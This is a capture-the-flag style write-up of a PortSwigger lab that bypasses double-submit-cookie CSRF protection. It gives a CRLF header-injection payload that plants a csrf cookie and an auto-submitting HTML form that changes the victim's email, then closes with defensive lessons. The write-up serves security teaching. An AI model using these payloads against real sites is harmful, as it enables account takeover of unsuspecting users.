

Lab: CSRF where token is duplicated in cookie

Lab Information

- **Platform:** PortSwigger Web Security Academy
- **Category:** Cross-Site Request Forgery (CSRF)
- **Difficulty:** Practitioner
- **Lab:** CSRF where token is duplicated in cookie
- **Status:** Solved 

Objective

The objective of this lab is to exploit a CSRF vulnerability in the email change functionality.

The application attempts to protect against CSRF using the **Double Submit Cookie** technique, where the CSRF token is duplicated in both:

- A cookie
- A request parameter

The goal is to use the **Exploit Server** to host an HTML page that automatically changes the victim's email address.

Reconnaissance

The application provides an account:

Username: wiener
Password: peter

After logging in, navigate to the account page and test the email change functionality.

The relevant endpoint is:

`POST /my-account/change-email`

A typical request contains:

```
POST /my-account/change-email HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=...; csrf=...

email=test@example.com&csrf=...
```

There are three important values:

```
session
csrf cookie
csrf parameter
```



Understanding the CSRF Protection

The application uses the **Double Submit Cookie** technique.

The same CSRF value appears in two locations:

```
Cookie:
csrf=ABC123
```

and:

```
POST parameter:
csrf=ABC123
```

The server effectively performs a check similar to:

```
Cookie csrf == POST csrf
```

If the values match, the request is accepted.

The important weakness is that the application assumes the attacker cannot control the victim's `csrf` cookie.

Testing the CSRF Token

After submitting the email change request through Burp Suite, inspect the request.

We can observe:

```
Cookie:  
csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

and:

```
POST:  
csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

The same value is duplicated.

Therefore:

```
csrf cookie  
  ↓  
  ↑  
csrf parameter
```

This confirms the use of the Double Submit Cookie technique.

Finding Cookie Injection

The next step is to determine whether we can influence the `csrf` cookie.

The application's search functionality reflects user input into a response header.

For example, the application can be manipulated using:

```
%0d%0a
```

which represents:

CRLF

CRLF can be used in the lab to inject an additional HTTP header.

The injected header is:

```
Set-Cookie: csrf=...
```

Therefore, instead of relying on the victim already having the required CSRF cookie, we can make the victim's browser receive our chosen value.

Cookie Injection Payload

The payload used in the lab is:

```
/?search=test%0d%0aSet-Cookie:  
%20csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp%3b%20SameSite=None
```

After URL decoding, the important part becomes approximately:

```
Set-Cookie: csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp; SameSite=None
```

The browser therefore receives:

```
csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

Building the CSRF Exploit

Now we create a malicious HTML page on the **Exploit Server**.

The page contains a hidden form:

```
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-  
email" method="POST">  
  
  <input type="hidden" name="email" value="accker.fucker@gamil.com">
```

```
<input type="hidden" name="csrf" value="m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp">
</form>
```

The form prepares the malicious request:

```
POST /my-account/change-email
```

with:

```
email=accker.fucker@gamil.com
csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

Injecting the CSRF Cookie

We then use an `<img>` element to trigger the cookie injection:

```

```

The attack works in two stages.

Stage 1 — Set the Cookie

The browser requests:

```
/?search=...
```

The injected CRLF causes the response to contain:

```
Set-Cookie: csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

The victim's browser stores the cookie.

Stage 2 — Submit the Form

The image intentionally triggers an error, which executes:

```
document.forms[0].submit()
```

The form is then automatically submitted.

The resulting request contains:

```
Cookie:  
csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

and:

```
POST:  
csrf=m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp
```

Both values match.

Final Exploit

The complete exploit is:

```
<form action="https://0a2d00d40388579f808b99ef00c8008d.web-security-academy.net/  
my-account/change-email" method="POST">  
  
  <input type="hidden" name="email" value="accker.fucker@gamil.com">  
  <input type="hidden" name="csrf" value="m5Jj9YP8Qd4xFKTzQD5dvhanVIZLv0Gp">  
  
</form>  
  

```

The important relationship is:

Injected Cookie



csrf=ABC



matches



POST Parameter

csrf=ABC



Attack Flow

The complete attack can be represented as:

Attacker



Create malicious HTML page



Victim opens exploit



GET /?search=...CRLF...Set-Cookie



Victim browser receives csrf cookie



csrf=ATTACKER_VALUE



JavaScript submits hidden form



POST /my-account/change-email



Cookie csrf = ATTACKER_VALUE



POST csrf = ATTACKER_VALUE



Values match



▼
CSRF protection bypassed
|
▼
Victim's email is changed

Why Does the Attack Work?

The vulnerability exists because the application relies on the following condition:

```
csrf cookie == csrf parameter
```

Instead of having a CSRF token that is securely associated with the user's authenticated session.

The attacker is able to influence the victim's `csrf` cookie through the cookie injection vulnerability.

Therefore, the attacker can choose:

```
csrf = ABC123
```

and send the same value in the request:

```
Cookie: csrf=ABC123
```

```
POST: csrf=ABC123
```

The server sees:

```
ABC123 == ABC123
```

and accepts the request.

Secure vs Vulnerable Design

Vulnerable Design

```
csrf cookie
  ↓
csrf parameter
```

The server only checks whether the two values match.

Stronger Design

A CSRF token should be associated with the authenticated user/session:

```
Session
  |
  ▼
CSRF Token
  |
  ▼
Validate Request
```

The server should ensure that the token belongs to the current authenticated context and cannot simply be replaced by an attacker-controlled value.

Exploitation Steps

1. Log in using:

```
wiener:peter
```

1. Navigate to the email change functionality.
2. Capture the request using Burp Suite.
3. Identify the `csrf` cookie.
4. Identify the `csrf` POST parameter.
5. Confirm that both contain the same value.

6. Investigate the search functionality.
7. Identify that the search parameter can be used to inject a `Set-Cookie` header through CRLF.
8. Create an Exploit Server page.
9. Add a hidden form targeting:

```
/my-account/change-email
```

1. Set the `email` field to a new email address.
2. Set the `csrf` parameter to the chosen token.
3. Use the search endpoint to inject the same value into the victim's `csrf` cookie.
4. Automatically submit the form using:

```
document.forms[0].submit()
```

1. Store the exploit.
2. Click **Deliver to victim**.
3. The victim's email address is changed.



Tools Used

- Burp Suite
 - Proxy
 - HTTP history
 - Repeater
 - PortSwigger Exploit Server
 - Browser
 - HTML
 - HTTP cookies
 - CRLF injection
-



Key Technical Concepts

1. CSRF

Cross-Site Request Forgery allows an attacker to cause an authenticated user's browser to perform an unwanted state-changing action.

2. Double Submit Cookie

A CSRF token is submitted twice:

```
Cookie  
+  
Request parameter
```

The server compares the two values.

3. Cookie Injection

The attacker is able to cause the victim's browser to receive a chosen cookie value.

In this lab:

```
Set-Cookie: csrf=ATTACKER VALUE
```

4. CRLF Injection

The payload:

```
%0d%0a
```

represents:

```
CRLF
```

and is used in this lab to inject a new response header.

5. SameSite

The exploit uses:

```
SameSite=None
```

to allow the cookie to be sent in a cross-site context required by the lab's attack flow.



Key Lessons

- A CSRF token by itself does not automatically make an application secure.
 - The security of the Double Submit Cookie technique depends on preventing attackers from controlling the CSRF cookie.
 - Always inspect where CSRF tokens are stored.
 - Compare the token in the cookie with the token in the request.
 - Test whether cookies can be influenced through other application functionality.
 - CRLF injection can sometimes be chained with CSRF to bypass protections.
 - In real-world bug bounty testing, look for vulnerabilities that can be chained together rather than testing each endpoint in isolation.
-



Final Takeaway

The application uses the **Double Submit Cookie** technique:

```
csrf cookie == csrf parameter
```

However, the application also contains a **CRLF-based cookie injection** vulnerability.

This allows the attacker to set the victim's:

```
csrf cookie
```

to the same value used in the forged request.

The final attack becomes:

```
Cookie Injection
  +
Double Submit Cookie
  +
CSRF
  ↓
CSRF Protection Bypass
  ↓
Victim's email changed
```

The core lesson from this lab is that **CSRF protection must consider whether an attacker can influence the token source itself**. A simple equality check between a cookie and a request parameter is not sufficient when the attacker can control the cookie.